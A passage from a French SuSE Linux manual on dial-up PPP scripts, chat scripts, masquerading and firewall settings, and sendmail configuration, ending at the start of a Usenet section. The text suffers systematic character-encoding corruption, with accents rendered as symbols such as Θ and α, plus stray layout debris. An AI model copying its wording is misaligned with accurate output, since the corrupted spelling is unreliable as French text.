/usr/doc/packages/inetcfg le script ppp-up que vous devriez copier
dans le rΘpertoire /etc/ppp et modifier en fonction de vos besoins.
Une connexion PPP est alors Θtablie au moyen de ppp-up .
________________________________________________________________________________________________________*
*________||||
| #!/bin/sh *
* |
| # *
* |
| *
* |
| # /etc/ppp/ppp-up *
* |
| # *
* |
| *
* |
| # ╔tablissement d'une connexion PPP *
* |
| # *
* |
| *
* |
| *
* |
| localip=0.0.0.0 *
* |
| *
* |
| remoteip= *
* |
| *
* |
| device=/dev/modem *
* |
| *
* |
| *
* |
| pppflags="38400 modem debug defaultroute" *
* |
| *
* |
| *
* |
| /usr/sbin/pppd lock connect \ *
* |
| *
* |
| '/usr/sbin/chat -v -f /etc/ppp/ppp.chat' \ *
* |
| $device $pppflags $localip:$remoteip *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 6.6.4: /etc/ppp/ppp-up
On dΘtermine tout d'abord les adresses IP du serveur et du client. S'il est spΘ-
cifiΘ pour le client une adresse IP 0.0.0.0 et si l'adresse IP du serveur n'est
pas indiquΘe, pppd demande les deux adresses au serveur. Si les adresses
sont dΘjα dΘterminΘes α l'avance ou si vous ne souhaitez pas que les adresses
soient attribuΘes dynamiquement, vous devez entrer ici les adresses IP corres-
pondantes.
On indique ensuite le pΘriphΘrique auquel le modem est connectΘ. Les dra-
peaux font savoir α pppd qu'il doit accΘder au modem avec 38400 bps
et enregistrer la connexion PPP comme route par dΘfaut dans la table de
routage du noyau. pppd connaεt encore tout un tas d'autres drapeaux et
d'options. Vous trouverez une description dΘtaillΘe dans la page de man de
pppd (man 8 pppd ) et dans le fichier /usr/doc/howto/en/PPP-HOWTO.
gz. L'exemple prΘsentΘ devrait toutefois fonctionner dans la majeure partie
des cas.
chat se charge alors d'Θtablir la connexion par modem. Le fichier /etc/ppp/
ppp.chat dΘtermine le dΘroulement de cette procΘdure.
Les lignes ABORT font savoir avec quelles rΘponses du modem la tentative de
connexion a ΘchouΘ. Avec +++ATZ , le modem est initialisΘ.
ATDT0911123456 reprΘsente le numΘro d'appel du serveur. Si la chaεne
CONNECT est reτue par le modem, le processus de connexion dΘmarre. Le
nom d'utilisateur et ensuite le mot de passe sont envoyΘs au serveur. Vous
trouverez de plus amples informations sur chat dans la page de man de chat
(man 8 chat ).
Si les deux fichiers sont configurΘs comme il convient et si les attributs sont
dΘterminΘs, il suffit d'appeler ppp-up pour Θtablir la connexion PPP.
198
______________________________________________________6.6.__AccΦs_Internet_par_modem_:_PPP_avec_wvdial______________________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| TIMEOUT 30 |
|||||||| |
|||||||| ABORT "NO CARRIER" |
|||||||| ABORT BUSY |
|||||||| ABORT "NO DIALTONE" |
|||||||| |
|||||||| ABORT ERROR |
|||||||| "" +++ATZ |
|||||||| |
|||||||| OK ATDT0911123456 |
|||||||| CONNECT "" |
|||||||| |
|||||||| ogin:--ogin: <ppplogin> |
|||||||| word: <ppppassword> |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.6.5: /etc/ppp/ppp.chat
_______________________________________________________________________________________________________________________|||
|||||||| Si, comme il est dΘcrit dans ce chapitre, vous avez stockΘ le script d'appel ||| |
|||||||| ppp-up sous /etc/ppp/ppp-up, il ne se trouve naturellement pas dans || |
|||||||| || |
|||||||| le chemin d'accΦs spΘcifiΘ dans la variable d'environnement PATH. Vous || |
|||||||| devrez donc, lors de l'appel, spΘcifier le chemin complet : || |
|||||||| || |
|||||||| terre:/root # /etc/ppp/ppp-up || |
|||||||| Vous devriez auparavant positionner l'attribut de ce fichier α `x' en tapant || |
|||||||| || |
|||||||| par exemple || |
|||||||| terre:/root # chmod 755 /etc/ppp/ppp-up || |
||||||||_______________________________________________________________________________________________________________||_
On ferme la connexion en tuant le dΘmon PPP. Ceci peut se faire par exemple
α l'aide du script /etc/ppp/ppp-down (voir fichier 6.6.6).
_______________________________________________________________________________________________________________________||
|||||||| #!/bin/sh |
|||||||| # |
|||||||| |
|||||||| # /etc/ppp/ppp-down |
|||||||| # |
|||||||| |
|||||||| # Couper la connexion PPP |
|||||||| # |
|||||||| |
|||||||| |
|||||||| kill `cat /var/run/ppp0.pid` |
||||||||_______________________________________________________________________________________________________________ |
fichier 6.6.6: /etc/ppp/ppp-down
L'accent grave (ne pas confondre avec l'apostrophe)__est ici _essentiel. Les
touches α utiliser sont (pour le clavier franτais) |_______Al|tGr+|7_ |. Il s'agit d'une sub-
stitution de commande par laquelle la sortie de cat /var/run/ppp0.pid
est passΘe au programme kill .
Adaptation du script Chat
Le script Chat /etc/ppp/ppp.chat doit bien entendu Ωtre adaptΘ. Outre le
nom d'utilisateur et le mot de passe, la totalitΘ de la procΘdure de connexion
est souvent modifiΘe. Dans certains cas, il est mΩme nΘcessaire de dΘmar-
rer le protocole PPP sur la machine distante par une commande telle que
ppp default . Il n'est pas possible de faire de tout ceci une description glo-
bale.
Dans le cas o∙ une authentification spΘciale au moyen de PAP, CHAP, etc.
n'est pas nΘcessaire, la procΘdure de connexion est comparable α la procΘdure
*
* 199
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
de connexion α un terminal. La seule diffΘrence est qu'elle n'est pas rΘalisΘe
manuellement mais α l'aide du script Chat.
Les choses peuvent donc se dΘrouler comme suit :
~ Lisez attentivement les informations du fournisseur de services et de-
mandez s'il existe dΘjα chez ce fournisseur un script appropriΘ. Dans ce
cas, nous vous demandons de bien vouloir nous tenir au courant afin que
nous puissions rassembler ces scripts et les rΘpartir dans notre distribu-
tion. Vous pouvez aussi vous procurer directement ces informations en
adressant une requΩte α notre base de donnΘes support (SDB) :
http://sdb.suse.de/sdb/fr/html/
~ Ayez sous la main un crayon et du papier !
~ Avec un Θmulateur de terminal (par exemple Minicom (minicom -s )),
vous Θtablissez la connexion manuellement, ce qui signifie que vous vous
connectez directement. Vous devez noter avec le plus grand soin dans quel
ordre se font les envois et quelles entrΘes vous devez faire vous-mΩme. La
plupart des Θmulateurs de terminaux, tels que minicom , permettent un
affichage automatique du texte α l'Θcran. Si vous utilisez_minicom_,_vous
obtiendrez cet affichage par la combinaison de touches |A____l|t+ |l_ |(avec
|_____|Alt+ | __|zil sera Θtabli une liste de toutes les combinaisons de touches
disponibles !).
~ Tout ceci doit se faire jusqu'au moment o∙ la machine distante passe en
mode PPP, ce qu'il vous est possible de reconnaεtre grΓce α un message
tel que : "ppp-protocol started"
~ La connexion est alors tout simplement coupΘe,_ ce qui_ veut dire en
quelque sorte que l'on a raccrochΘ (Minicom : |A____l|t+ |h_ |)
~ Quittez l'Θmulateur de terminal (Minicom |A_____|lt+ |x__|)
~ └ l'aide du protocole, vous pouvez maintenant adapter le script Chat
comme il convient.
Encore quelques informations complΘmentaires au sujet de chat .
Dans la premiΦre sΘquence
TIMEOUT 30
ABORT "NO CARRIER"
ABORT BUSY
ABORT "NO DIALTONE"
ABORT ERROR
chat est initialisΘ.
________________________________________________________________________________________________________*
*________
| Le TIMEOUT dΘpend du temps nΘcessaire α l'Θtablissement de la connexion. *
* |||
| *
* |||
| Il doit, dans certains cas, avoir une valeur plus ΘlevΘe, par exemple 60 . *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Les commandes ABORT indiquent aprΦs quelles rΘponses du modem l'exΘcu-
tion du script doit Ωtre terminΘe.
Dans les lignes suivantes, on procΦde toujours de cette maniΦre :
Le premier paramΦtre (jusqu'au premier espace) indique ce que l'on doit
attendre. Si cette chaεne est Θmise par le modem, le reste de la ligne est
renvoyΘ.
200
_________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________*
*______________________
"" +++ATZ
On n'attend pas ici de chaεne. Le modem est tout de suite initialisΘ. Ceci
dΘpend de votre modem et du profile mΘmorisΘ. Normalement, on charge
avec ATZ le profile 0 (comme directement aprΦs le dΘmarrage). Vous devrez
Θventuellement inscrire autre chose ici. Comparez le cas ΘchΘant avec vos
logiciels DOS ou Windows.
_______________________________________________________________________________________________________________________||
|||||||| Si votre modem ne se comporte pas du tout comme il devrait, cela signifie ||| |
|||||||| peut-Ωtre qu'il est complΦtement dΘrΘglΘ et il se peut que ATZ ne serve plus || |
|||||||| || |
|||||||| α rien. Dans ce cas, vous devriez lancer la commande AT&F (par exemple || |
|||||||| sous Minicom). Cela rΘglera votre modem comme il l'Θtait α sa sortie de || |
|||||||| || |
|||||||| fabrique. || |
||||||||_______________________________________________________________________________________________________________||_
Le numΘro est maintenant composΘ et la connexion est Θtablie, par exemple :
OK ATDT<numΘro de tΘlΘphone>
CONNECT ""
ogin:--ogin: <account>
word: <accountpasswd>
Pour votre installation sur le plan concret, remplacez <numΘro de tΘlΘphone>,
<account> et <accountpasswd> par les valeurs appropriΘes.
Notez que seul word : est recherchΘ car il pourrait trΦs bien Ωtre envoyΘ
Password : (avec une majuscule) ou password : (avec une minuscule).
La ligne
ogin:--ogin:
devrait Ωtre assez flexible car dans le cas o∙ la premiΦre chaεne (ogin : ) n'est
pas retrouvΘe, un `Return' sera envoyΘ et on attendra de nouveau ogin : .
Vous trouverez d'autres informations et exemples dans la page de man de
chat (man 8 chat ).
_______________________________________________________________________________________________________________________
|||||||| L'ensemble du script Chat ne doit contenir aucune ligne vide, aucun espace || |
|||||||| || |
|||||||| en dΘbut de ligne et aucun commentaire. || |
||||||||_______________________________________________________________________________________________________________||_
Testez maintenant votre connexion avec la commande /etc/ppp/ppp-up .
Les messages d'erreur, Θmis par exemple par le script Chat, ne sont pas li-
sibles α l'Θcran mais sont enregistrΘs dans le fichier /var/log/messages.
Vous pouvez faire afficher le contenu de ce fichier sur une deuxiΦme console
par la commande :
terre:/ # tail -f /var/log/messages
Vous pourrez ainsi voir immΘdiatement si des messages importants ont ΘtΘ
Θmis.
6.7 Masquerading et Firewall ~ Amis et ``amis''
De nombreux utilisateurs de SuSE Linux se servent de leur ordinateur comme
machine de connexion α Internet ou comme routeur pour accΦs par ligne
permanente. Dans de tels cas, on utilise souvent pour le rΘseau local des
adresses IP privΘes ~ qui ne permettent pas d'accΘder directement α Internet.
*
* 201
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
Afin de rendre possible un tel accΦs pour le rΘseau interne, on a recours au
``Masquerading''. Vous pouvez installer pour cela le paquetage firewals de
la sΘrie sec qui contient un script pour Masquerading et Firewall. Ces fonc-
tionnalitΘs sont toutes deux mises en oeuvre α partir du fichier de configura-
tion /etc/rc.firewall. Il est judicieux d'installer aussi en mΩme temps un
pare-feu (angl. firewall) pour protΘger plus efficacement le systΦme contre les
attaques de l'extΘrieur. Vous devriez absolument lire, α ce sujet, la documen-
tation contenue dans /usr/doc/packages/firewals.
________________________________________________________________________________________________________*
*________||
| Il n'est pas possible de garantir que les mΘthodes que nous allons prΘsenter *
* ||||
| *
* |||
| ici fonctionnent parfaitement. Si vous Ωtes victime d'intrusions dans votre *
* |||
| systΦme bien que vous ayez fait tout comme il se doit, n'en rendez pas les *
* |||
| *
* |||
| auteurs responsables. Nous acceptons cependant volontiers vos critiques et *
* |||
| suggestions α l'adresse feedback@suse.de. Et s'il est nΘcessaire d'amΘlio- *
* |||
| *
* |||
| rer quelque chose, nous ne manquerons pas de le faire ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.7.1 Principes du Masquerading
Pour le Masquerading, on a besoin de deux pΘriphΘriques rΘseau diffΘrents.
L'un d'entre eux au moins est une carte Ethernet reliΘe au rΘseau interne.
L'adresse de ce rΘseau doit Ωtre prise dans une zone d'adresses privΘes desti-
nΘes α cet usage, par exemple de 192.168.0.0 α 192.168.255.255 . Dans
notre configuration exemple, nous supposons que le routeur (que nous allons
configurer ici) peut accΘder, sous l'adresse 192.168.0.1 , α la carte reliΘe au
rΘseau interne. Les machines du rΘseau interne auront alors, par exemple, les
adresses IP 192.168.0.2 , 192.168.0.3 et ainsi de suite.
Le pΘriphΘrique rΘseau externe est, par exemple, la carte ISDN utilisΘe pour
l'accΦs Internet, ou bien une ligne permanente α laquelle est reliΘe une carte
rΘseau Ethernet. C'est ce que nous supposons dans notre exemple. La confi-
guration est dΘcrite plus bas.
6.7.2 Principes du Firewall
Ce n'est pas, α proprement parler, un ``firewall'' qui est contenu dans ce paque-
tage mais un ``filtre de paquets''. Par un filtre de paquets Firewall, on protΦge
le rΘseau contre les attaques visant les adresses IP et les ports auxquels on n'a
pas expressΘment autorisΘ l'accΦs. Si votre machine est un serveur Web et si
vous autorisez pour celle-ci l'accΦs au port 80 ~ vous devez de toute faτon le
faire afin qu'il soit possible d'accΘder de l'extΘrieur au serveur Web ~, il est
Θvident que cette machine ne sera pas protΘgΘe contre les attaques visant ce
port. Ce filtre de paquets Firewall ne doit pas et ne peut pas se substituer α
un pare-feu de niveau application. Un tel par-feu devrait Ωtre installΘ par un
prestataire de services professionnel. Il est cependant opportun, pour la sΘcu-
ritΘ du systΦme, d'installer ce Firewall sur une machine destinΘe α un usage
privΘ.
202
_________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________*
*______________________
6.7.3 Configuration de Masquerading et/ou de Firewall
La documentation concernant le Firewall SuSE se trouve sous /usr/doc/
packages/firewall ~ et vous trouverez au chapitre 18.1 page 465 et pages
suivantes quelques considΘrations thΘoriques sur ce thΦme.
L'ensemble de la configuration se fait dans /etc/rc.firewall et les expli-
cations sont en anglais. Nous allons vous donner ici quelques prΘcisions afin
de vous guider pas α pas vers une configuration rΘussie. Pour chaque point, il
est mentionnΘ si celui-ci s'applique α Masquerading ou α Firewall. Dans le fi-
chier de configuration, il est aussi question d'une DMZ (``zone dΘmilitarisΘe'')
que nous ne dΘtaillerons pas ici.
Si vous n'avez besoin que de Masquerading, remplissez uniquement les lignes
portant la mention Masquerading.
~ FW_START (Firewall, Masquerading) : Positionnez ce paramΦtre α yes afin
que le script soit lancΘ. Ceci rend possible Firewall et/ou Masquerading.
~ FW_DEV_WORLD (Firewall, Masquerading) : Par exemple eth0 . C'est le
pΘriphΘrique qui permet les connexions α Internet. Pour ISDN, ce sera
par exemple ippp0 .
~ FW_DEV_INT (Firewall, Masquerading) : C'est le pΘriphΘrique reliΘ au
rΘseau ``privΘ'' interne. Dans le cas o∙ il n'existerait pas de rΘseau interne
~ si par exemple le firewall protΦge uniquement votre machine ~, laissez
tout simplement ce champ vide.
~ FW_ROUTE (Firewall, Masquerading) : Si vous avez besoin de l'option
Masquerading, positionnez ce paramΦtre α yes . Mais pour un Firewall
sans Masquerading, n'entrez yes que si vous souhaitez que l'on puisse
accΘder de l'extΘrieur au rΘseau interne. Cela ne fonctionne toutefois que
s'il a ΘtΘ assignΘ aux machines du rΘseau interne des adresses IP offi-
cielles. Normalement, vous ne devriez pas autoriser l'accΦs aux machines
du rΘseau interne depuis l'extΘrieur ! Si vous entrez yes dans ce champ
pour pouvoir obtenir le Masquerading, les machines de votre rΘseau in-
terne ne seront pas pour autant visibles de l'extΘrieur puisqu'elles ont des
adresses rΘseau privΘes (par exemple 192.168.x.x ) ne permettant pas le
routage sur Internet.
~ FW_MASQUERADE (Masquerading) : si vous avez besoin de l'option Mas-
querading, vous devez entrer yes dans ce champ. Notez qu'il est favo-
rable, pour la sΘcuritΘ du systΦme, que les machines du rΘseau interne
puissent accΘder α Internet α travers un serveur proxy.
~ FW_MASQ_NETS (Masquerading) : SpΘcifiez ici les machines et/ou les rΘ-
seaux pour lesquels vous voulez utiliser le Masquerading. SΘparez les dif-
fΘrentes entrΘes par des espaces. ~ Exemple :
FW_MASQ_NETS="192.168.0.0/24 192.168.10.1"
~ FW_PROTECT_FROM_INTERNAL (Firewall) : Inscrivez yes dans ce
champ si vous voulez aussi protΘger la machine pare-feu contre les
attaques du rΘseau interne. Vous devrez alors autoriser expressΘment
l'accΦs aux services disponibles pour le rΘseau interne. Voir aussi
FW_SERVICES_INTERNAL_TCP et FW_SERVICES_INTERNAL_UDP .
*
* 203
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
~ FW_AUTOPROTECT_GLOBAL_SERVICES (Firewall) : En cas normal, ce pa-
ramΦtre reste positionnΘ α yes .
~ FW_SERVICES_EXTERNAL_TCP (Firewall) : SpΘcifiez ici les services aux-
quels on doit avoir accΦs, par exemple "www smtp ftp domain 443"
~ pour votre ordinateur domestique qui ne doit offrir aucun service, vous
n'aurez gΘnΘralement rien α inscrire.
~ FW_SERVICES_EXTERNAL_UDP (Firewall) : Si vous ne gΘrez pas prΘcisΘ-
ment un serveur de noms auquel on doit pouvoir accΘder de l'extΘrieur,
laissez ce champ vide. Si c'est cependant le cas, spΘcifiez ici les ports
requis.
~ FW_SERVICES_INTERNAL_TCP (Firewall) : Reprenez les spΘcifications
que vous avez faites dans la ligne FW_SERVICES_EXTERNAL_TCP . La prΘ-
sente ligne concerne cependant l'accΦs α partir du rΘseau interne.
~ FW_SERVICES_INTERNAL_UDP (Firewall) : Voir ci-dessus.
~ FW_TRUSTED_NETS (Firewall) : SpΘcifiez ici les machines auxquelles
vous pouvez vraiment faire confiance (``trusted hosts''). Tenez prΘsent α
l'esprit que ces machines doivent aussi Ωtre protΘgΘes contre les intru-
sions. Exemple : "172.20.0.0/16 172.20.1.1" signifie que toutes les
machines dont l'adresse IP commence par 172.20.x.x ainsi que la ma-
chine avec l'adresse IP 172.20.1.1 peuvent traverser le pare-feu.
~ FW_SERVICES_TRUSTED_TCP (Firewall) : Vous pouvez ici dΘterminer les
adresses de ports TCP qui peuvent Ωtre utilisΘes par les ``h⌠tes de confian-
ce''. SpΘcifiez par exemple 1 :65535 si les machines dignes de confiance
sont autorisΘes α accΘder α tous les services. Il devrait normalement Ωtre
suffisant de spΘcifier ssh comme service.
~ FW_SERVICES_TRUSTED_UDP (Firewall) : Comme le point prΘcΘdent,
mais se rapporte α UDP.
~ FW_ALLOW_INCOMING_HIGHPORTS_TCP (Firewall) : Pour un FTP normal
(actif), spΘcifiez ici ftp-data .
~ FW_ALLOW_INCOMING_HIGHPORTS_UDP (Firewall) : SpΘcifiez ici dns
pour pouvoir utiliser les serveurs de noms inscrits dans /etc/resolv.
conf. Avec yes , vous autorisez tous les numΘros de ports ΘlevΘs.
~ FW_SERVICE_DNS (Firewall) : Si vous avez un serveur de noms auquel
on doit pouvoir accΘder de l'extΘrieur, inscrivez ici yes . En mΩme temps,
l'accΦs au port 53 doit Ωtre autorisΘ dans FW_TCP_SERVICES_*
~ FW_SERVICE_DHCLIENT (Firewall) : Vous devez inscrire yes dans ce
champ si vous utilisez dhclient pour obtenir votre adresse IP.
~ FW_LOG_* : SpΘcifiez ici ce que vous voulez faire enregistrer. Pour une
utilisation courante, il suffit de positionner FW_LOG_DENY_CRIT α yes .
~ FW_STOP_KEEP_ROUTING_STATE (Firewall) : Si vous vous connectez au-
tomatiquement α Internet par diald ou par ISDN (numΘrotation α la de-
mande), entrez yes dans ce champ.
N'oubliez pas, pour terminer, de tester le Firewall (par exemple avec telnet
de l'extΘrieur). Vous devriez alors voir, dans /var/log/messages, des en-
trΘes ayant plus ou moins cet aspect :
204
_________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________*
*______________________
Feb 7 01:54:14 www kernel: Packet log: input DENY eth0
PROTO=6 129.27.43.9:1427 195.58.178.210:23 L=60 S=0x00
I=36981 F=0x4000 T=59 SYN (#119)
6.8 Donnez de vos nouvelles ~ Configuration de Sendmail
AprΦs vous Ωtre connectΘ au monde extΘrieur, que ce soit par UUCP, PPP
ou ISDN, vous souhaiterez certainement tirer parti de votre connexion. Une
application typique est le courrier Θlectronique ou + E-mail. Ce paragraphe
dΘcrit la configuration du paquetage sendmail 6 .
Lors de la distribution du courrier Θlectronique, sendmail dΘcide du mode
d'acheminement : par rΘseau TCP/IP avec le protocole SMTP, dans le clas-
seur E-mail local d'un utilisateur ou par d'autres programmes de transport
tels que UUCP.
Le fichier central de configuration de sendmail est /etc/sendmail.cf. Pour
une configuration simple, on peut positionner quelques paramΦtres avec YaST
et faire crΘer un fichier /etc/sendmail.cf valide. Les paramΦtres sont ins-
crits dans le fichier /etc/rc.config.d/sendmail.rc.config et SuSE-
config Θcrit le fichier /etc/sendmail.cf α l'aide de ces entrΘes et en utili-
sant /sbin/conf.d/SuSEconfig.sendmail.
Comme les fichiers de configuration du paquetage sendmail sont trΦs com-
plexes, SuSE Linux vous propose deux configurations prΘdΘfinies qui peuvent
Ωtre utilisΘes dans la majeure partie des cas :
Si vous avez l'intention d'utiliser sendmail dans un rΘseau TCP/IP, vous de-
vez absolument disposer d'un serveur DNS valide. Vous devrez alors faire
pour chaque nom un enregistrement particulier (``MX record'', ``mail ex-
change record'') pour E-mail. Vous pourrez vΘrifier les paramΦtres courants
avec la commande host (dans le paquetage bind) :
terre: # host soleil.cosmos.univers
soleil.cosmos.univers address 192.168.0.1
soleil.cosmos.univers mail is handled (pri=10)
by soleil.cosmos.univers
soleil.cosmos.univers mail is handled (pri=100)
by mail-relay.cosmos.univers
S'il n'existe aucune entrΘe pour E-mail, demandez α votre administra-
teur DNS de vous venir en aide.
Les paramΦtres suivants, nΘcessaires pour une configuration E-mail, peuvent
Ωtre insΘrΘs par YaST dans le fichier /etc/rc.config.d/sendmail.rc.
config (voir paragraphe 17.6 page 451 et actuellement le fichier /etc/
mail/README.linux) :
~ SENDMAIL_TYPE="yes"
Cette variable doit Ωtre positionnΘe α yes si le fichier de configura-
tion sendmail doit Ωtre crΘΘ α partir des valeurs dΘfinies dans /etc/rc.
config.d/sendmail.rc.config. Si vous voulez crΘer vous-mΩme le
fichier /etc/sendmail.cf, la valeur correcte est no .
6 ____________________________________________________
Une alternative α sendmail est constituΘe par postfix ou qmail . Ces deux paquetages ne seront
toutefois pas ΘvoquΘs ici.
*
* 205
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
~ SENDMAIL_LOCALHOST=\
"localhost soleil.cosmos.univers www.cosmos.univers"
sendmail doit savoir quel courrier doit Ωtre stockΘ localement et quel cour-
rier doit Ωtre acheminΘ vers une autre machine. Seul le courrier Θlectro-
nique destinΘ α l'h⌠te local est stockΘ par dΘfaut comme E-mail local.
Avec SENDMAIL_LOCALHOST , on peut spΘcifier d'autres noms de ma-
chines ~ sΘparΘs par des espaces ~ qui doivent aussi Ωtre considΘrΘes
comme h⌠tes locaux.
Exemple : Le nom de la machine est soleil.cosmos.univers. Elle
assume les fonctions de serveur WWW pour www.cosmos.univers.
Afin que tout le courrier Θlectronique destinΘ α www.cosmos.univers
soit acceptΘ, il convient d'entrer la ligne suivante
SENDMAIL_LOCALHOST="localhost www.cosmos.univers" .
~ FROM_HEADER=cosmos.univers
L'adresse de l'expΘditeur est en gΘnΘral tout simplement celle de la ma-
chine locale. Il est toutefois possible de la modifier avec ce paramΦtre.
Exemple : La machine a pour nom terre.cosmos.univers, mais le
courrier Θlectronique doit Ωtre envoyΘ au nom de tux@cosmos.univers
(donc sans nom de machine). Vous devez pour cela faire l'entrΘe :
FROM_HEADER=cosmos.univers .
~ SENDMAIL_SMARTHOST=mail-server.provider.de
Pour tout courrier Θlectronique non local, sendmail demande les donnΘes
DNS et tente, au moyen du protocole SMTP, de transmettre le courrier α
la machine concernΘe. Cette machine peut se trouver n'importe o∙ dans le
rΘseau Internet et la connexion peut Θventuellement Ωtre assez lente. Mais
ce paramΦtre permet d'indiquer une machine intermΘdiaire qui recevra
tout le courrier sortant et le transmettra ensuite α la machine destinataire.
Premier exemple : Vous pouvez, avec une connexion dialup, transmettre
tout le courrier α votre fournisseur d'accΦs qui se chargera de la distribu-
tion :
SENDMAIL_SMARTHOST=smtp :mail-server.provider.de .
DeuxiΦme exemple : Si vous avez une connexion UUCP, vous pouvez
transmettre tout le courrier non local au serveur UUCP :
SENDMAIL_SMARTHOST=uucp-dom :uucp.cosmos.univers .
~ SENDMAIL_NOCANONIFY=no
sendmail recherche toutes les adresses dans l'en-tΩte E-mail et remplace
les noms par les ``noms de domaines pleinement qualifiΘs'' (angl. ``Fully
Qualified Domain Names'' = FQDN). Si vous indiquez toujours le nom
complet parce que vous n'avez pas toujours accΦs α un serveur DNS α
cause, par exemple, d'une connexion dialup, vous pouvez invalider cette
fonction par yes .
~ SENDMAIL_ARGS="-bd -q30m -om"
C'est avec ces paramΦtres que sendmail est invoquΘ α l'amorτage de la
machine.
Avec -q30m , on demande α sendmail de vΘrifier toutes les 30 minutes s'il
y a encore dans le rΘpertoire /var/spool/mqueue du courrier qui doit
Ωtre distribuΘ.
206
_________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________*
*______________________
-bd lance sendmail en ``mode dΘmon'' et ainsi le courrier transmis par le
rΘseau TCP/IP est acceptΘ par d'autres machines.
Pour les connexions dialup, on pourrait omettre -q30m et faire distribuer
le courrier en invoquant directement sendmail avec sendmail -q . Ceci
peut se faire, par exemple au moyen d'une entrΘe crontab , une ou deux
fois par jour. Une autre possibilitΘ consiste α insΘrer sendmail -q dans
les scripts qui servent α Θtablir une connexion. Vous pouvez ainsi Θchanger
du courrier α chaque fois que vous vous connectez au rΘseau.
~ SENDMAIL_EXPENSIVE=no
sendmail essaie immΘdiatement de transmettre le courrier via SMTP.
Mais si vous n'Ωtes connectΘ α Internet que de faτon sporadique (``Dial-
On-Demand''), il est possible que vous ne souhaitiez pas Θtablir une
connexion avec votre fournisseur d'accΦs pour chaque E-mail.
Avec yes , le courrier Θlectronique sera d'abord conservΘ dans le rΘper-
toire /var/spool/mqueue au lieu d'Ωtre tout de suite distribuΘ.
Tout le courrier Θlectronique local est stockΘ par le programme procmail dans
les classeurs de courrier locaux /var/spool/mail/<name> . Lisez la page
de man de procmailrc (man procmailrc ), la page de man de procmailex
(man procmailex ) ainsi que la page de man de procmail (man procmail )
qui donnent une description prΘcise de ce programme trΦs flexible.
Si le courrier Θlectronique ne peut pas Ωtre transmis tout de suite, il sera stockΘ
dans le rΘpertoire /var/spool/mqueue et sera distribuΘ α la prochaine exΘ-
cution de sendmail . La frΘquence α laquelle la file d'attente est traitΘe est dΘ-
terminΘe lors du dΘmarrage de sendmail . Mais il est aussi possible de mettre
en route la transmission des messages par la commande sendmail -q .
Vous pouvez aussi ajouter d'autres paramΦtres pour sendmail dans les fi-
chiers /etc/aliases et dans quelques fichiers du rΘpertoire /etc/mail/.
Vous trouverez dans ces fichiers des exemples commentΘs. Certains fichiers
en mode texte doivent Ωtre convertis en fichiers bases de donnΘes par le pro-
gramme makemap . Ceci est exΘcutΘ automatiquement lorsque vous lancez
SuSEconfig ou lorsque vous quittez YaST .
Si vous voulez rΘaliser des configurations plus complexes, vous devrez faire
en sorte, avec SENDMAIL_TYPE=no , que /etc/sendmail.cf ne soit pas gΘ-
nΘrΘ automatiquement et vous devrez prendre /etc/mail/linux.mc comme
base pour votre propre configuration. linux.mc contient des commandes m4 .
terre: # m4 /etc/mail/linux.mc > /etc/sendmail.cf
crΘe une configuration sendmail valide en utilisant les macros contenues dans
le rΘpertoire /usr/share/sendmail.
Vous trouverez une documentation complΘmentaire dans les rΘpertoires
/etc/mail, /usr/share/sendmail et /usr/doc/packages/sendmail.
Comme adresse de dΘpart pour WWW, vous pouvez prendre http:
//www.sendmail.org/. Si vous avez des tΓches plus complexes α rΘaliser,
vous ne pourrez probablement pas Θchapper α la lecture du livre Sendmail
ΘditΘ par O'Reilly7 qui offre une excellente documentation prΘcise et dΘtaillΘe
sur la configuration de sendmail .
7 ____________________________________________________
Voir [CAR93 ].
*
* 207
6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
*_______________________________________@
6.9 News : Les toutes derniΦres nouvelles de USENET
L'un des plus importants services fournis par Internet est la transmission et la
distribution d'informations organisΘes dans diffΘrents groupes. Cette partie
de l'Internet est connue sous le nom de Usenet. Ce n'est que grΓce α ce
service que le dΘveloppement de Linux a ΘtΘ possible et c'est cette forme
de communication sans obstacles et d'une extrΩme efficacitΘ qui permet de
continuer α dΘvelopper rapidement le systΦme et d'y apporter continuellement
des amΘliorations8 . USENET est, en outre, un moyen d'entr'aide essentiel
pour les utilisateurs de Linux.
Comme une description du systΦme de news et de toutes les possibilitΘs qu'il
offre (par exemple transmission α d'autres machines) dΘpasserait le cadre de
ce manuel, nous ne parlerons ici que de la configuration d'un systΦme de news
local.
________________________________________________________________________________________________________*
*________|||
| Pour de grands systΦmes, il est recommandΘ d'avoir recours au paquetage *
* ||||
| *
* |||
| inn, sΘrie n. Vous trouverez des informations sur l'installation de INN sous *
* |||
| /usr/doc/packages/inn. Pour les systΦmes UUCP, il est Θgalement ju- *
* |||
| *
* |||
| dicieux de donner la prΘfΘrence α INN. ~ L'installation de INN n'est par *
* |||
| couverte par l'Assistance Technique α l'Installation (voir paragraphe H.1.2 *
* |||
| *
* |||
| page 558). Nous sommes cependant volontiers disposΘs α vous venir en *
* |||
| aide dans le cadre de notre Service Pro facturΘ α part (voir paragraphe H.3 *
* |||
| *
* |||
| page 561). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
6.9.1 Le systΦme de news Leafnode
Le paquetage leafnode est l'un des systΦmes de news les mieux appropriΘs
pour petits rΘseaux ou pour machines monopostes possΘdant une connexion
Internet simple mais pas forcΘment des plus rapides. Ce paquetage est consti-
tuΘ de plusieurs parties : le serveur NNTP proprement dit leafnode , le pro-
gramme fetchnews (autrefois : fetch) qui permet de retirer les articles et le
programme texpire qui permet d'effacer les articles pΘrimΘs ou ceux qui ne
sont plus jugΘs intΘressants. Il existe, en outre, des outils pour la gestion des
